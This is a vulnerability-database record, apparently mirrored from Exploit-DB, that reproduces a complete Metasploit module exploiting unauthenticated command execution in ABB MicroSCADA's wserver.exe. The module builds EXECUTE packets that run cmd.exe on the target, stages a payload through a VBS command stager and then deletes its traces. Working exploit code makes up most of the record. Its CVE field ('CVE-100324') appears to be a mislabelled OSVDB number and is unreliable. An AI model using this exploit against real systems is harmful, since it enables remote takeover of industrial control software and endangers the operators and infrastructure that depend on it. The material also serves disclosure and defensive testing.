ID

VAR-E-201312-0330


EDB ID

30009


TITLE

ABB MicroSCADA - 'wserver.exe' Remote Code Execution (Metasploit) - Windows remote Exploit

Trust: 0.6

sources: EXPLOIT-DB: 30009

DESCRIPTION

ABB MicroSCADA - 'wserver.exe' Remote Code Execution (Metasploit). CVE-100324 . remote exploit for Windows platform

Trust: 0.6

sources: EXPLOIT-DB: 30009

AFFECTED PRODUCTS

vendor:abbmodel:microscadascope: - version: -

Trust: 1.0

vendor:abbmodel:microscada wserver.exescope: - version: -

Trust: 0.6

sources: EXPLOIT-DB: 30009 // EDBNET: 51741

EXPLOIT

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStagerVBS

def initialize(info = {})
super(update_info(info,
'Name' => 'ABB MicroSCADA wserver.exe Remote Code Execution',
'Description' => %q{
This module exploits a remote stack buffer overflow vulnerability in ABB MicroSCADA. The
issue is due to the handling of unauthenticated EXECUTE operations on the wserver.exe
component, which allows arbitrary commands. The component is disabled by default, but
required when a project uses the SCIL function WORKSTATION_CALL.

This module has been tested successfully on ABB MicroSCADA Pro SYS600 9.3 over
Windows XP SP3 and Windows 7 SP1.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Brian Gorenc', # Original discovery
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'OSVDB', '100324'],
[ 'ZDI', '13-270' ],
[ 'URL', 'http://www05.abb.com/global/scot/scot229.nsf/veritydisplay/41ccfa8ccd0431e6c1257c1200395574/$file/ABB_SoftwareVulnerabilityHandlingAdvisory_ABB-VU-PSAC-1MRS235805.pdf']
],
'Platform' => 'win',
'Arch' => ARCH_X86,
'DefaultOptions' =>
{
'WfsDelay' => 5
},
'Targets' =>
[
[ 'ABB MicroSCADA Pro SYS600 9.3', { } ]
],
'DefaultTarget' => 0,
'Privileged' => false,
'DisclosureDate' => 'Apr 05 2013'
))

register_options([Opt::RPORT(12221)], self.class)
end

def check

# Send an EXECUTE packet without command, a valid response
# should include an error code, which is good enough to
# fingerprint.
op = "EXECUTE\x00"
pkt_length = [4 + op.length].pack("V") # 4 because of the packet length
pkt = pkt_length
pkt << op

connect
sock.put(pkt)
res = sock.get_once
disconnect

if res and res.length == 6 and res[0, 2].unpack("v")[0] == 6 and res[2, 4].unpack("V")[0] == 0xe10001
return Exploit::CheckCode::Vulnerable
end

return Exploit::CheckCode::Safe

end

def exploit
# More then 750 will trigger overflow...
# Cleaning is done by the exploit on execute_cmdstager_end
execute_cmdstager({:linemax => 750, :nodelete => true})
end

def execute_cmdstager_end(opts)
@var_tempdir = @stager_instance.instance_variable_get(:@tempdir)
@var_decoded = @stager_instance.instance_variable_get(:@var_decoded)
@var_encoded = @stager_instance.instance_variable_get(:@var_encoded)
@var_decoder = @stager_instance.instance_variable_get(:@var_decoder)
print_status("Trying to delete #{@var_tempdir}#{@var_encoded}.b64...")
execute_command("del #{@var_tempdir}#{@var_encoded}.b64", {})
print_status("Trying to delete #{@var_tempdir}#{@var_decoder}.vbs...")
execute_command("del #{@var_tempdir}#{@var_decoder}.vbs", {})
print_status("Trying to delete #{@var_tempdir}#{@var_decoded}.exe...")
execute_command("del #{@var_tempdir}#{@var_decoded}.exe", {})
end

def execute_command(cmd, opts)
op = "EXECUTE\x00"
command = "cmd.exe /c #{cmd}"
pkt_length = [4 + op.length + command.length].pack("V") # 4 because of the packet length

pkt = pkt_length
pkt << op
pkt << command

connect
sock.put(pkt)
res = sock.get_once
disconnect

unless res and res.length == 6 and res[0, 2].unpack("v")[0] == 6 and res[2, 4].unpack("V")[0] == 1
fail_with(Failure::UnexpectedReply, "Unexpected reply while executing the cmdstager")
end
end
end

Trust: 1.0

sources: EXPLOIT-DB: 30009

EXPLOIT LANGUAGE

rb

Trust: 0.6

sources: EXPLOIT-DB: 30009

PRICE

free

Trust: 0.6

sources: EXPLOIT-DB: 30009

TYPE

'wserver.exe' Remote Code Execution (Metasploit)

Trust: 1.0

sources: EXPLOIT-DB: 30009

TAGS

tag:Metasploit Framework (MSF)

Trust: 1.0

sources: EXPLOIT-DB: 30009

CREDITS

Metasploit

Trust: 0.6

sources: EXPLOIT-DB: 30009

EXTERNAL IDS

db:EXPLOIT-DBid:30009

Trust: 1.6

db:EDBNETid:51741

Trust: 0.6

sources: EXPLOIT-DB: 30009 // EDBNET: 51741

REFERENCES

url:http://www05.abb.com/global/scot/scot229.nsf/veritydisplay/41ccfa8ccd0431e6c1257c1200395574/$file/abb_softwarevulnerabilityhandlingadvisory_abb-vu-psac-1mrs235805.pdf

Trust: 1.0

url:https://www.exploit-db.com/exploits/30009/

Trust: 0.6

sources: EXPLOIT-DB: 30009 // EDBNET: 51741

SOURCES

db:EXPLOIT-DBid:30009
db:EDBNETid:51741

LAST UPDATE DATE

2022-07-27T09:40:23.936000+00:00


SOURCES RELEASE DATE

db:EXPLOIT-DBid:30009date:2013-12-03T00:00:00
db:EDBNETid:51741date:2013-12-03T00:00:00